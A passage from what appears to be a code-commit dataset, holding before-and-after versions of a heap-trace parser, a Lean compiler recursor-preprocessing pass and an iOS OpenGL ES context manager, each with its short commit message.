WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public\n * License along with this program; if not, write to the\n * Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\/\n\n#include \"parser.h\"\n\n#include \n#include \n#include \n\n#include \n#include \n\n#include \"..\/accumulatedtracedata.h\"\n\n#include \n\nusing namespace std;\n\nnamespace {\nstruct ParserData final : public AccumulatedTraceData\n{\n ParserData()\n {\n chartData.push_back({0, 0, 0, 0});\n }\n\n void handleTimeStamp(uint64_t \/*newStamp*\/, uint64_t oldStamp)\n {\n maxLeakedSinceLastTimeStamp = max(maxLeakedSinceLastTimeStamp, leaked);\n chartData.push_back({oldStamp, maxLeakedSinceLastTimeStamp, totalAllocations, totalAllocated});\n maxLeakedSinceLastTimeStamp = 0;\n }\n\n void handleAllocation()\n {\n maxLeakedSinceLastTimeStamp = max(maxLeakedSinceLastTimeStamp, leaked);\n }\n\n void handleDebuggee(const char* command)\n {\n debuggee = command;\n }\n\n string debuggee;\n\n ChartData chartData;\n uint64_t maxLeakedSinceLastTimeStamp = 0;\n};\n\nQString generateSummary(const ParserData& data)\n{\n QString ret;\n KFormat format;\n QTextStream stream(&ret);\n const double totalTimeS = 0.001 * data.totalTime;\n stream << \"\"\n << i18n(\"debuggee<\/strong>: %1<\/code>\", QString::fromStdString(data.debuggee)) << \"\"\n \/\/ xgettext:no-c-format\n << i18n(\"total runtime<\/strong>: %1s\", totalTimeS) << \"\"\n << i18n(\"bytes allocated in total<\/strong> (ignoring deallocations): %1 (%2\/s)\",\n format.formatByteSize(data.totalAllocated, 2), format.formatByteSize(data.totalAllocated \/ totalTimeS)) << \"\"\n << i18n(\"calls to allocation functions<\/strong>: %1 (%2\/s)\",\n data.totalAllocations, quint64(data.totalAllocations \/ totalTimeS)) << \"\"\n << i18n(\"peak heap memory consumption<\/strong>: %1\", format.formatByteSize(data.peak)) << \"\"\n << i18n(\"total memory leaked<\/strong>: %1\", format.formatByteSize(data.leaked)) << \"\";\n stream << \"<\/qt>\";\n return ret;\n}\n\nstruct StringCache\n{\n StringCache(const AccumulatedTraceData& data)\n {\n m_strings.resize(data.strings.size());\n transform(data.strings.begin(), data.strings.end(),\n m_strings.begin(), [] (const string& str) { return QString::fromStdString(str); });\n }\n\n QString func(const InstructionPointer& ip) const\n {\n if (ip.functionIndex) {\n \/\/ TODO: support removal of template arguments\n return stringify(ip.functionIndex);\n } else {\n return static_cast(QLatin1String(\"0x\") + QString::number(ip.instructionPointer, 16));\n }\n }\n\n QString file(const InstructionPointer& ip) const\n {\n if (ip.fileIndex) {\n return stringify(ip.fileIndex);\n } else {\n return {};\n }\n }\n\n QString module(const InstructionPointer& ip) const\n {\n return stringify(ip.moduleIndex);\n }\n\n QString stringify(const StringIndex index) const\n {\n if (!index || index.index > m_strings.size()) {\n return {};\n } else {\n return m_strings.at(index.index - 1);\n }\n }\n\n LocationData location(const InstructionPointer& ip) const\n {\n return {func(ip), file(ip), module(ip), ip.line};\n }\n\n vector m_strings;\n};\n\nvoid setParents(QVector& children, const RowData* parent)\n{\n for (auto& row: children) {\n row.parent = parent;\n setParents(row.children, &row);\n }\n}\n\nQVector mergeAllocations(const AccumulatedTraceData& data)\n{\n QVector topRows;\n StringCache strings(data);\n \/\/ merge allocations, leave parent pointers invalid (their location may change)\n for (const auto& allocation : data.allocations) {\n auto traceIndex = allocation.traceIndex;\n auto rows = &topRows;\n while (traceIndex) {\n const auto& trace = data.findTrace(traceIndex);\n const auto& ip = data.findIp(trace.ipIndex);\n \/\/ TODO: only store the IpIndex and use that\n auto location = strings.location(ip);\n auto it = lower_bound(rows->begin(), rows->end(), location);\n if (it != rows->end() && it->location == location) {\n it->allocated += allocation.allocated;\n it->allocations += allocation.allocations;\n it->leaked += allocation.leaked;\n it->peak = max(it->peak, static_cast(allocation.peak));\n } else {\n it = rows->insert(it, {allocation.allocations, allocation.peak, allocation.leaked, allocation.allocated,\n location, nullptr, {}});\n }\n if (data.isStopIndex(ip.functionIndex)) {\n break;\n }\n traceIndex = trace.parentIndex;\n rows = &it->children;\n }\n }\n \/\/ now set the parents, the data is constant from here on\n setParents(topRows, nullptr);\n return topRows;\n}\n}\n\nParser::Parser(QObject* parent)\n : QObject(parent)\n{}\n\nParser::~Parser() = default;\n\nstatic void buildFrameGraph(const QVector& mergedAllocations, FlameGraphData::Stack* topStack)\n{\n foreach (const auto& row, mergedAllocations) {\n if (row.children.isEmpty()) {\n \/\/ leaf node found, bubble up the parent chain to build a top-down tree\n auto node = &row;\n auto stack = topStack;\n while (node) {\n auto& data = (*stack)[node->location.function];\n \/\/ always use the leaf node's cost and propagate that one up the chain\n \/\/ otherwise we'd count the cost of some nodes multiple times\n data.cost += row.allocations;\n stack = &data.children;\n node = node->parent;\n }\n } else {\n \/\/ recurse to find a leaf\n buildFrameGraph(row.children, topStack);\n }\n }\n}\n\nvoid Parser::parse(const QString& path)\n{\n using namespace ThreadWeaver;\n stream() << make_job([=]() {\n ParserData data;\n data.read(path.toStdString());\n emit summaryAvailable(generateSummary(data));\n const auto mergedAllocations = mergeAllocations(data);\n emit bottomUpDataAvailable(mergedAllocations);\n emit chartDataAvailable(data.chartData);\n FlameGraphData::Stack stack;\n buildFrameGraph(mergedAllocations, &stack);\n emit flameGraphDataAvailable({stack});\n emit finished();\n });\n}\n<|endoftext|>"} {"text":"\/*\nCopyright (c) 2015 Microsoft Corporation. All rights reserved.\nReleased under Apache 2.0 license as described in the file LICENSE.\n\nAuthor: Leonardo de Moura\n*\/\n#include \"kernel\/declaration.h\"\n#include \"kernel\/type_checker.h\"\n#include \"kernel\/instantiate.h\"\n#include \"library\/trace.h\"\n#include \"library\/aux_recursors.h\"\n#include \"library\/user_recursors.h\"\n#include \"library\/util.h\"\n#include \"compiler\/util.h\"\n#include \"compiler\/compiler_step_visitor.h\"\n#include \"compiler\/comp_irrelevant.h\"\n#include \"compiler\/eta_expansion.h\"\n#include \"compiler\/simp_pr1_rec.h\"\n#include \"compiler\/inliner.h\"\n#include \"compiler\/elim_recursors.h\"\n#include \"compiler\/erase_irrelevant.h\"\n\nnamespace lean {\nclass expand_aux_recursors_fn : public compiler_step_visitor {\n enum class recursor_kind { Aux, CasesOn, NotRecursor };\n \/* We only expand auxiliary recursors and user-defined recursors.\n However, we don't unfold recursors of the form C.cases_on. *\/\n recursor_kind get_recursor_app_kind(expr const & e) const {\n if (!is_app(e))\n return recursor_kind::NotRecursor;\n expr const & fn = get_app_fn(e);\n if (!is_constant(fn))\n return recursor_kind::NotRecursor;\n name const & n = const_name(fn);\n if (is_cases_on_recursor(env(), n)) {\n return recursor_kind::CasesOn;\n } else if (::lean::is_aux_recursor(env(), n) || is_user_defined_recursor(env(), n)) {\n return recursor_kind::Aux;\n } else {\n return recursor_kind::NotRecursor;\n }\n }\n\n bool is_aux_recursor(expr const & e) const {\n return get_recursor_app_kind(e) == recursor_kind::Aux;\n }\n\n expr visit_cases_on(expr const & e) {\n \/* try to reduce cases_on *\/\n if (auto r1 = ctx().reduce_aux_recursor(e)) {\n if (auto r2 = ctx().norm_ext(*r1)) {\n return compiler_step_visitor::visit(*r2);\n }\n }\n return compiler_step_visitor::visit_app(e);\n }\n\n virtual expr visit_app(expr const & e) override {\n switch (get_recursor_app_kind(e)) {\n case recursor_kind::NotRecursor: {\n expr new_e = ctx().whnf_pred(e, [&](expr const &) { return false; });\n if (is_eqp(new_e, e))\n return compiler_step_visitor::visit_app(new_e);\n else\n return compiler_step_visitor::visit(new_e);\n }\n case recursor_kind::CasesOn:\n return visit_cases_on(e);\n case recursor_kind::Aux:\n return compiler_step_visitor::visit(ctx().whnf_pred(e, [&](expr const & e) { return is_aux_recursor(e); }));\n }\n lean_unreachable();\n }\n\npublic:\n expand_aux_recursors_fn(environment const & env):compiler_step_visitor(env) {}\n};\n\nstatic expr expand_aux_recursors(environment const & env, expr const & e) {\n return expand_aux_recursors_fn(env)(e);\n}\n\nstatic name * g_tmp_prefix = nullptr;\n\nclass preprocess_rec_fn {\n environment m_env;\n\n bool check(declaration const & d, expr const & v) {\n bool memoize = true;\n bool trusted_only = false;\n type_checker tc(m_env, memoize, trusted_only);\n expr t = tc.check(v, d.get_univ_params());\n if (!tc.is_def_eq(d.get_type(), t))\n throw exception(\"preprocess_rec failed\");\n return true;\n }\n\n void display(buffer> const & procs) {\n for (auto const & p : procs) {\n tout() << \">> \" << p.first << \"\\n\" << p.second << \"\\n\";\n }\n }\n\n void erase_irrelevant(buffer> & procs) {\n for (pair & p : procs) {\n p.second = ::lean::erase_irrelevant(m_env, p.second);\n }\n }\n\npublic:\n preprocess_rec_fn(environment const & env):\n m_env(env) {}\n\n void operator()(declaration const & d, buffer> & procs) {\n expr v = d.get_value();\n v = expand_aux_recursors(m_env, v);\n v = mark_comp_irrelevant_subterms(m_env, v);\n v = eta_expand(m_env, v);\n v = simp_pr1_rec(m_env, v);\n v = inline_simple_definitions(m_env, v);\n v = mark_comp_irrelevant_subterms(m_env, v);\n buffer aux_decls;\n v = elim_recursors(m_env, v, aux_decls);\n\n for (name const & n : aux_decls) {\n declaration d = m_env.get(n);\n procs.emplace_back(d.get_name(), d.get_value());\n }\n procs.emplace_back(d.get_name(), v);\n\n erase_irrelevant(procs);\n\n display(procs);\n \/\/ TODO(Leo)\n check(d, procs.back().second);\n }\n};\n\nvoid preprocess_rec(environment const & env, declaration const & d, buffer> & result) {\n return preprocess_rec_fn(env)(d, result);\n}\n\nvoid initialize_preprocess_rec() {\n g_tmp_prefix = new name(name::mk_internal_unique_name());\n}\n\nvoid finalize_preprocess_rec() {\n delete g_tmp_prefix;\n}\n}\nfix(compiler\/preprocess_rec): do not type check after erase_irrelevant\/*\nCopyright (c) 2015 Microsoft Corporation. All rights reserved.\nReleased under Apache 2.0 license as described in the file LICENSE.\n\nAuthor: Leonardo de Moura\n*\/\n#include \"kernel\/declaration.h\"\n#include \"kernel\/type_checker.h\"\n#include \"kernel\/instantiate.h\"\n#include \"library\/trace.h\"\n#include \"library\/aux_recursors.h\"\n#include \"library\/user_recursors.h\"\n#include \"library\/util.h\"\n#include \"compiler\/util.h\"\n#include \"compiler\/compiler_step_visitor.h\"\n#include \"compiler\/comp_irrelevant.h\"\n#include \"compiler\/eta_expansion.h\"\n#include \"compiler\/simp_pr1_rec.h\"\n#include \"compiler\/inliner.h\"\n#include \"compiler\/elim_recursors.h\"\n#include \"compiler\/erase_irrelevant.h\"\n\nnamespace lean {\nclass expand_aux_recursors_fn : public compiler_step_visitor {\n enum class recursor_kind { Aux, CasesOn, NotRecursor };\n \/* We only expand auxiliary recursors and user-defined recursors.\n However, we don't unfold recursors of the form C.cases_on. *\/\n recursor_kind get_recursor_app_kind(expr const & e) const {\n if (!is_app(e))\n return recursor_kind::NotRecursor;\n expr const & fn = get_app_fn(e);\n if (!is_constant(fn))\n return recursor_kind::NotRecursor;\n name const & n = const_name(fn);\n if (is_cases_on_recursor(env(), n)) {\n return recursor_kind::CasesOn;\n } else if (::lean::is_aux_recursor(env(), n) || is_user_defined_recursor(env(), n)) {\n return recursor_kind::Aux;\n } else {\n return recursor_kind::NotRecursor;\n }\n }\n\n bool is_aux_recursor(expr const & e) const {\n return get_recursor_app_kind(e) == recursor_kind::Aux;\n }\n\n expr visit_cases_on(expr const & e) {\n \/* try to reduce cases_on *\/\n if (auto r1 = ctx().reduce_aux_recursor(e)) {\n if (auto r2 = ctx().norm_ext(*r1)) {\n return compiler_step_visitor::visit(*r2);\n }\n }\n return compiler_step_visitor::visit_app(e);\n }\n\n virtual expr visit_app(expr const & e) override {\n switch (get_recursor_app_kind(e)) {\n case recursor_kind::NotRecursor: {\n expr new_e = ctx().whnf_pred(e, [&](expr const &) { return false; });\n if (is_eqp(new_e, e))\n return compiler_step_visitor::visit_app(new_e);\n else\n return compiler_step_visitor::visit(new_e);\n }\n case recursor_kind::CasesOn:\n return visit_cases_on(e);\n case recursor_kind::Aux:\n return compiler_step_visitor::visit(ctx().whnf_pred(e, [&](expr const & e) { return is_aux_recursor(e); }));\n }\n lean_unreachable();\n }\n\npublic:\n expand_aux_recursors_fn(environment const & env):compiler_step_visitor(env) {}\n};\n\nstatic expr expand_aux_recursors(environment const & env, expr const & e) {\n return expand_aux_recursors_fn(env)(e);\n}\n\nstatic name * g_tmp_prefix = nullptr;\n\nclass preprocess_rec_fn {\n environment m_env;\n\n bool check(declaration const & d, expr const & v) {\n bool memoize = true;\n bool trusted_only = false;\n type_checker tc(m_env, memoize, trusted_only);\n expr t = tc.check(v, d.get_univ_params());\n if (!tc.is_def_eq(d.get_type(), t))\n throw exception(\"preprocess_rec failed\");\n return true;\n }\n\n void display(buffer> const & procs) {\n for (auto const & p : procs) {\n tout() << \">> \" << p.first << \"\\n\" << p.second << \"\\n\";\n }\n }\n\n void erase_irrelevant(buffer> & procs) {\n for (pair & p : procs) {\n p.second = ::lean::erase_irrelevant(m_env, p.second);\n }\n }\n\npublic:\n preprocess_rec_fn(environment const & env):\n m_env(env) {}\n\n void operator()(declaration const & d, buffer> & procs) {\n expr v = d.get_value();\n v = expand_aux_recursors(m_env, v);\n v = mark_comp_irrelevant_subterms(m_env, v);\n v = eta_expand(m_env, v);\n v = simp_pr1_rec(m_env, v);\n v = inline_simple_definitions(m_env, v);\n v = mark_comp_irrelevant_subterms(m_env, v);\n buffer aux_decls;\n v = elim_recursors(m_env, v, aux_decls);\n\n for (name const & n : aux_decls) {\n declaration d = m_env.get(n);\n procs.emplace_back(d.get_name(), d.get_value());\n }\n procs.emplace_back(d.get_name(), v);\n check(d, procs.back().second);\n\n erase_irrelevant(procs);\n display(procs);\n \/\/ TODO(Leo)\n\n }\n};\n\nvoid preprocess_rec(environment const & env, declaration const & d, buffer> & result) {\n return preprocess_rec_fn(env)(d, result);\n}\n\nvoid initialize_preprocess_rec() {\n g_tmp_prefix = new name(name::mk_internal_unique_name());\n}\n\nvoid finalize_preprocess_rec() {\n delete g_tmp_prefix;\n}\n}\n<|endoftext|>"} {"text":"\/\/\n\/\/ IOSOpenGLContextManager.cpp\n\/\/ MWorksCore\n\/\/\n\/\/ Created by Christopher Stawarz on 2\/14\/17.\n\/\/\n\/\/\n\n#include \"IOSOpenGLContextManager.hpp\"\n\n#include \"OpenGLUtilities.hpp\"\n\n\n\/\/\n\/\/ The technique for using a CAEAGLLayer-backed UIView for displaying OpenGL ES content is taken from\n\/\/ Apple's \"Real-time Video Processing Using AVPlayerItemVideoOutput\" example project:\n\/\/\n\/\/ https:\/\/developer.apple.com\/library\/content\/samplecode\/AVBasicVideoOutput\/Introduction\/Intro.html\n\/\/\n\n\n@interface MWKEAGLView : UIView\n\n@property(nonatomic, readonly) EAGLContext *context;\n\n- (instancetype)initWithFrame:(CGRect)frame context:(EAGLContext *)context;\n- (mw::OpenGLContextLock)lockContext;\n- (BOOL)prepareGL;\n- (void)bindDrawable;\n- (void)display;\n\n@end\n\n\n@implementation MWKEAGLView {\n mw::OpenGLContextLock::unique_lock::mutex_type mutex;\n GLuint framebuffer;\n GLuint renderbuffer;\n}\n\n\n+ (Class)layerClass {\n return [CAEAGLLayer class];\n}\n\n\n- (instancetype)initWithFrame:(CGRect)frame context:(EAGLContext *)context {\n self = [super initWithFrame:frame];\n \n if (self) {\n _context = [context retain];\n self.layer.opaque = TRUE;\n }\n \n return self;\n}\n\n\n- (mw::OpenGLContextLock)lockContext {\n return mw::OpenGLContextLock(mw::OpenGLContextLock::unique_lock(mutex));\n}\n\n\n- (BOOL)prepareGL {\n glGenFramebuffers(1, &framebuffer);\n mw::gl::FramebufferBinding framebufferBinding(framebuffer);\n \n glGenRenderbuffers(1, &renderbuffer);\n mw::gl::RenderbufferBinding renderbufferBinding(renderbuffer);\n \n [self.context renderbufferStorage:GL_RENDERBUFFER fromDrawable:static_cast(self.layer)];\n \n GLint backingWidth, backingHeight;\n glGetRenderbufferParameteriv(GL_RENDERBUFFER, GL_RENDERBUFFER_WIDTH, &backingWidth);\n glGetRenderbufferParameteriv(GL_RENDERBUFFER, GL_RENDERBUFFER_HEIGHT, &backingHeight);\n glViewport(0, 0, backingWidth, backingHeight);\n \n glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_RENDERBUFFER, renderbuffer);\n return (GL_FRAMEBUFFER_COMPLETE == glCheckFramebufferStatus(GL_FRAMEBUFFER));\n}\n\n\n- (void)bindDrawable {\n glBindFramebuffer(GL_FRAMEBUFFER, framebuffer);\n}\n\n\n- (void)display {\n mw::gl::RenderbufferBinding renderbufferBinding(renderbuffer);\n [self.context presentRenderbuffer:GL_RENDERBUFFER];\n}\n\n\n- (void)dealloc {\n [_context release];\n [super dealloc];\n}\n\n\n@end\n\n\n@interface MWKEAGLViewController : UIViewController\n@end\n\n\n@implementation MWKEAGLViewController\n\n\n- (BOOL)prefersStatusBarHidden {\n return YES;\n}\n\n\n- (BOOL)shouldAutorotate {\n return NO;\n}\n\n\n@end\n\n\nBEGIN_NAMESPACE_MW\n\n\nIOSOpenGLContextManager::~IOSOpenGLContextManager() {\n \/\/ Calling releaseContexts here causes the application to crash at exit. Since this class is\n \/\/ used as a singleton, it doesn't matter, anyway.\n \/\/releaseContexts();\n}\n\n\nint IOSOpenGLContextManager::newFullscreenContext(int screen_number, bool render_at_full_resolution) {\n @autoreleasepool {\n if (screen_number < 0 || screen_number >= getNumDisplays()) {\n throw SimpleException(M_DISPLAY_MESSAGE_DOMAIN,\n (boost::format(\"Invalid screen number (%d)\") % screen_number).str());\n }\n \n EAGLSharegroup *sharegroup = nil;\n if (contexts.count > 0) {\n sharegroup = static_cast(contexts[0]).sharegroup;\n }\n \n EAGLContext *context = [[EAGLContext alloc] initWithAPI:kEAGLRenderingAPIOpenGLES3 sharegroup:sharegroup];\n if (!context) {\n throw SimpleException(M_DISPLAY_MESSAGE_DOMAIN, \"Cannot create OpenGL ES context\");\n }\n \n auto screen = UIScreen.screens[screen_number];\n __block bool success = false;\n \n dispatch_sync(dispatch_get_main_queue(), ^{\n if (UIWindow *window = [[UIWindow alloc] initWithFrame:screen.bounds]) {\n window.screen = screen;\n \n if (MWKEAGLViewController *viewController = [[MWKEAGLViewController alloc] init]) {\n window.rootViewController = viewController;\n \n if (MWKEAGLView *view = [[MWKEAGLView alloc] initWithFrame:window.bounds context:context]) {\n viewController.view = view;\n view.contentScaleFactor = (render_at_full_resolution ? screen.scale : 1.0);\n [EAGLContext setCurrentContext:context];\n \n if ([view prepareGL]) {\n [window makeKeyAndVisible];\n \n [contexts addObject:context];\n [views addObject:view];\n [windows addObject:window];\n \n success = true;\n }\n \n [EAGLContext setCurrentContext:nil];\n [view release];\n }\n \n [viewController release];\n }\n \n [window release];\n }\n });\n \n [context release];\n \n if (!success) {\n throw SimpleException(M_DISPLAY_MESSAGE_DOMAIN, \"Cannot create fullscreen window\");\n }\n \n return (contexts.count - 1);\n }\n}\n\n\nint IOSOpenGLContextManager::newMirrorContext(bool render_at_full_resolution) {\n throw SimpleException(M_DISPLAY_MESSAGE_DOMAIN, \"Mirror windows are not supported on this OS\");\n}\n\n\nvoid IOSOpenGLContextManager::releaseContexts() {\n @autoreleasepool {\n dispatch_sync(dispatch_get_main_queue(), ^{\n for (UIWindow *window in windows) {\n window.hidden = YES;\n }\n [windows removeAllObjects];\n [views removeAllObjects];\n });\n \n [contexts removeAllObjects];\n }\n}\n\n\nint IOSOpenGLContextManager::getNumDisplays() const {\n \/\/ At present, we support only the main display\n return 1;\n}\n\n\nOpenGLContextLock IOSOpenGLContextManager::setCurrent(int context_id) {\n @autoreleasepool {\n if (auto view = static_cast(getView(context_id))) {\n if ([EAGLContext setCurrentContext:view.context]) {\n auto lock = [view lockContext];\n [view bindDrawable];\n return lock;\n }\n merror(M_DISPLAY_MESSAGE_DOMAIN, \"Cannot set current OpenGL ES context\");\n }\n return OpenGLContextLock();\n }\n}\n\n\nvoid IOSOpenGLContextManager::clearCurrent() {\n @autoreleasepool {\n glBindFramebuffer(GL_FRAMEBUFFER, 0); \/\/ Unbind the view's drawable object\n [EAGLContext setCurrentContext:nil];\n }\n}\n\n\nvoid IOSOpenGLContextManager::bindDefaultFramebuffer(int context_id) {\n @autoreleasepool {\n if (auto view = static_cast(getView(context_id))) {\n [view bindDrawable];\n }\n }\n}\n\n\nvoid IOSOpenGLContextManager::flush(int context_id) {\n @autoreleasepool {\n if (auto view = static_cast(getView(context_id))) {\n [view display];\n }\n }\n}\n\n\nstd::vector IOSOpenGLContextManager::getColorConversionLUTData(int context_id, int numGridPoints) {\n @autoreleasepool {\n std::vector lutData;\n \n if (auto view = getView(context_id)) {\n __block UIDisplayGamut displayGamut;\n dispatch_sync(dispatch_get_main_queue(), ^{\n displayGamut = view.window.screen.traitCollection.displayGamut;\n });\n \n switch (displayGamut) {\n case UIDisplayGamutSRGB:\n \/\/ No color conversion required\n break;\n \n case UIDisplayGamutP3: {\n \/\/\n \/\/ According to \"What's New in Metal, Part 2\" (WWDC 2016, Session 605), applications should\n \/\/ always render in the sRGB colorspace, even when the target device has a P3 display. To use\n \/\/ colors outside of the sRGB gamut, the app needs to use a floating-point color buffer and\n \/\/ encode the P3-only colors using component values less than 0 or greater than 1 (as in Apple's\n \/\/ \"extended sRGB\" color space). Since StimulusDisplay uses an 8 bit per channel, integer color\n \/\/ buffer, we're always limited to sRGB.\n \/\/\n \/\/ Testing suggests that this approach is correct. If we draw an image with high color\n \/\/ saturation and then display it both with and without a Mac-style, LUT-based conversion\n \/\/ from sRGB to Display P3, the unconverted colors match what we see on a Mac, while the converted\n \/\/ colors are noticeably duller. This makes sense, because converting, say, 100% red (255, 0, 0)\n \/\/ in sRGB to the wider gamut of Display P3 results in smaller numerical values (234, 51, 35).\n \/\/\n \/\/ https:\/\/developer.apple.com\/videos\/play\/wwdc2016\/605\/\n \/\/\n break;\n }\n \n default:\n throw SimpleException(M_DISPLAY_MESSAGE_DOMAIN, \"Unsupported display gamut\");\n }\n \n }\n \n return lutData;\n }\n}\n\n\nboost::shared_ptr OpenGLContextManager::createPlatformOpenGLContextManager() {\n return boost::make_shared();\n}\n\n\nEND_NAMESPACE_MW\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nOn iOS, use UIScreen.nativeScale to get the scale factor for the display\/\/\n\/\/ IOSOpenGLContextManager.cpp\n\/\/ MWorksCore\n\/\/\n\/\/ Created by Christopher Stawarz on 2\/14\/17.\n\/\/\n\/\/\n\n#include \"IOSOpenGLContextManager.hpp\"\n\n#include \"OpenGLUtilities.hpp\"\n\n\n\/\/\n\/\/ The technique for using a CAEAGLLayer-backed UIView for displaying OpenGL ES content is taken from\n\/\/ Apple's \"Real-time Video Processing Using AVPlayerItemVideoOutput\" example project:\n\/\/\n\/\/ https:\/\/developer.apple.com\/library\/content\/samplecode\/AVBasicVideoOutput\/Introduction\/Intro.html\n\/\/\n\n\n@interface MWKEAGLView : UIView\n\n@property(nonatomic, readonly) EAGLContext *context;\n\n- (instancetype)initWithFrame:(CGRect)frame context:(EAGLContext *)context;\n- (mw::OpenGLContextLock)lockContext;\n- (BOOL)prepareGL;\n- (void)bindDrawable;\n- (void)display;\n\n@end\n\n\n@implementation MWKEAGLView {\n mw::OpenGLContextLock::unique_lock::mutex_type mutex;\n GLuint framebuffer;\n GLuint renderbuffer;\n}\n\n\n+ (Class)layerClass {\n return [CAEAGLLayer class];\n}\n\n\n- (instancetype)initWithFrame:(CGRect)frame context:(EAGLContext *)context {\n self = [super initWithFrame:frame];\n \n if (self) {\n _context = [context retain];\n self.layer.opaque = TRUE;\n }\n \n return self;\n}\n\n\n- (mw::OpenGLContextLock)lockContext {\n return mw::OpenGLContextLock(mw::OpenGLContextLock::unique_lock(mutex));\n}\n\n\n- (BOOL)prepareGL {\n glGenFramebuffers(1, &framebuffer);\n mw::gl::FramebufferBinding framebufferBinding(framebuffer);\n \n glGenRenderbuffers(1, &renderbuffer);\n mw::gl::RenderbufferBinding renderbufferBinding(renderbuffer);\n \n [self.context renderbufferStorage:GL_RENDERBUFFER fromDrawable:static_cast(self.layer)];\n \n GLint backingWidth, backingHeight;\n glGetRenderbufferParameteriv(GL_RENDERBUFFER, GL_RENDERBUFFER_WIDTH, &backingWidth);\n glGetRenderbufferParameteriv(GL_RENDERBUFFER, GL_RENDERBUFFER_HEIGHT, &backingHeight);\n glViewport(0, 0, backingWidth, backingHeight);\n \n glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_RENDERBUFFER, renderbuffer);\n return (GL_FRAMEBUFFER_COMPLETE == glCheckFramebufferStatus(GL_FRAMEBUFFER));\n}\n\n\n- (void)bindDrawable {\n glBindFramebuffer(GL_FRAMEBUFFER, framebuffer);\n}\n\n\n- (void)display {\n mw::gl::RenderbufferBinding renderbufferBinding(renderbuffer);\n [self.context presentRenderbuffer:GL_RENDERBUFFER];\n}\n\n\n- (void)dealloc {\n [_context release];\n [super dealloc];\n}\n\n\n@end\n\n\n@interface MWKEAGLViewController : UIViewController\n@end\n\n\n@implementation MWKEAGLViewController\n\n\n- (BOOL)prefersStatusBarHidden {\n return YES;\n}\n\n\n- (BOOL)shouldAutorotate {\n return NO;\n}\n\n\n@end\n\n\nBEGIN_NAMESPACE_MW\n\n\nIOSOpenGLContextManager::~IOSOpenGLContextManager() {\n \/\/ Calling releaseContexts here causes the application to crash at exit. Since this class is\n \/\/ used as a singleton, it doesn't matter, anyway.\n \/\/releaseContexts();\n}\n\n\nint IOSOpenGLContextManager::newFullscreenContext(int screen_number, bool render_at_full_resolution) {\n @autoreleasepool {\n if (screen_number < 0 || screen_number >= getNumDisplays()) {\n throw SimpleException(M_DISPLAY_MESSAGE_DOMAIN,\n (boost::format(\"Invalid screen number (%d)\") % screen_number).str());\n }\n \n EAGLSharegroup *sharegroup = nil;\n if (contexts.count > 0) {\n sharegroup = static_cast(contexts[0]).sharegroup;\n }\n \n EAGLContext *context = [[EAGLContext alloc] initWithAPI:kEAGLRenderingAPIOpenGLES3 sharegroup:sharegroup];\n if (!context) {\n throw SimpleException(M_DISPLAY_MESSAGE_DOMAIN, \"Cannot create OpenGL ES context\");\n }\n \n auto screen = UIScreen.screens[screen_number];\n __block bool success = false;\n \n dispatch_sync(dispatch_get_main_queue(), ^{\n if (UIWindow *window = [[UIWindow alloc] initWithFrame:screen.bounds]) {\n window.screen = screen;\n \n if (MWKEAGLViewController *viewController = [[MWKEAGLViewController alloc] init]) {\n window.rootViewController = viewController;\n \n if (MWKEAGLView *view = [[MWKEAGLView alloc] initWithFrame:window.bounds context:context]) {\n viewController.view = view;\n view.contentScaleFactor = (render_at_full_resolution ? screen.nativeScale : 1.0);\n [EAGLContext setCurrentContext:context];\n \n if ([view prepareGL]) {\n [window makeKeyAndVisible];\n \n [contexts addObject:context];\n [views addObject:view];\n [windows addObject:window];\n \n success = true;\n }\n \n [EAGLContext setCurrentContext:nil];\n [view release];\n }\n \n [viewController release];\n }\n \n [window release];\n }\n });\n \n [context release];\n \n if (!success) {\n throw SimpleException(M_DISPLAY_MESSAGE_DOMAIN, \"Cannot create fullscreen window\");\n }\n \n return (contexts.count - 1);\n }\n}\n\n\nint IOSOpenGLContextManager::newMirrorContext(bool render_at_full_resolution) {\n throw SimpleException(M_DISPLAY_MESSAGE_DOMAIN, \"Mirror windows are not supported on this OS\");\n}\n\n\nvoid IOSOpenGLContextManager::releaseContexts() {\n @autoreleasepool {\n dispatch_sync(dispatch_get_main_queue(), ^{\n for (UIWindow *window in windows) {\n window.hidden = YES;\n }\n [windows removeAllObjects];\n [views removeAllObjects];\n });\n \n [contexts removeAllObjects];\n }\n}\n\n\nint IOSOpenGLContextManager::getNumDisplays() const {\n \/\/ At present, we support only the main display\n return 1;\n}\n\n\nOpenGLContextLock IOSOpenGLContextManager::setCurrent(int context_id) {\n @autoreleasepool {\n if (auto view = static_cast(getView(context_id))) {\n if ([EAGLContext setCurrentContext:view.context]) {\n auto lock = [view lockContext];\n [view bindDrawable];\n return lock;\n }\n merror(M_DISPLAY_MESSAGE_DOMAIN, \"Cannot set current OpenGL ES context\");\n }\n return OpenGLContextLock();\n }\n}\n\n\nvoid IOSOpenGLContextManager::clearCurrent() {\n @autoreleasepool {\n glBindFramebuffer(GL_FRAMEBUFFER, 0); \/\/ Unbind the view's drawable object\n [EAGLContext setCurrentContext:nil];\n }\n}\n\n\nvoid IOSOpenGLContextManager::bindDefaultFramebuffer(int context_id) {\n @autoreleasepool {\n if (auto view = static_cast(getView(context_id))) {\n [view bindDrawable];\n }\n }\n}\n\n\nvoid IOSOpenGLContextManager::flush(int context_id) {\n @autoreleasepool {\n if (auto view = static_cast(getView(context_id))) {\n [view display];\n }\n }\n}\n\n\nstd::vector IOSOpenGLContextManager::getColorConversionLUTData(int context_id, int numGridPoints) {\n @autoreleasepool {\n std::vector lutData;\n \n if (auto view = getView(context_id)) {\n __block UIDisplayGamut displayGamut;\n dispatch_sync(dispatch_get_main_queue(), ^{\n displayGamut = view.window.screen.traitCollection.displayGamut;\n });\n \n switch (displayGamut) {\n case UIDisplayGamutSRGB:\n \/\/ No color conversion required\n break;\n \n case UIDisplayGamutP3: {\n \/\/\n \/\/ According to \"What's New in Metal, Part 2\" (WWDC 2016, Session 605), applications should\n \/\/ always render in the sRGB colorspace, even when the target device has a P3 display. To use\n \/\/ colors outside of the sRGB gamut, the app needs to use a floating-point color buffer and\n \/\/ encode the P3-only colors using component values less than 0 or greater than 1 (as in Apple's\n \/\/ \"extended 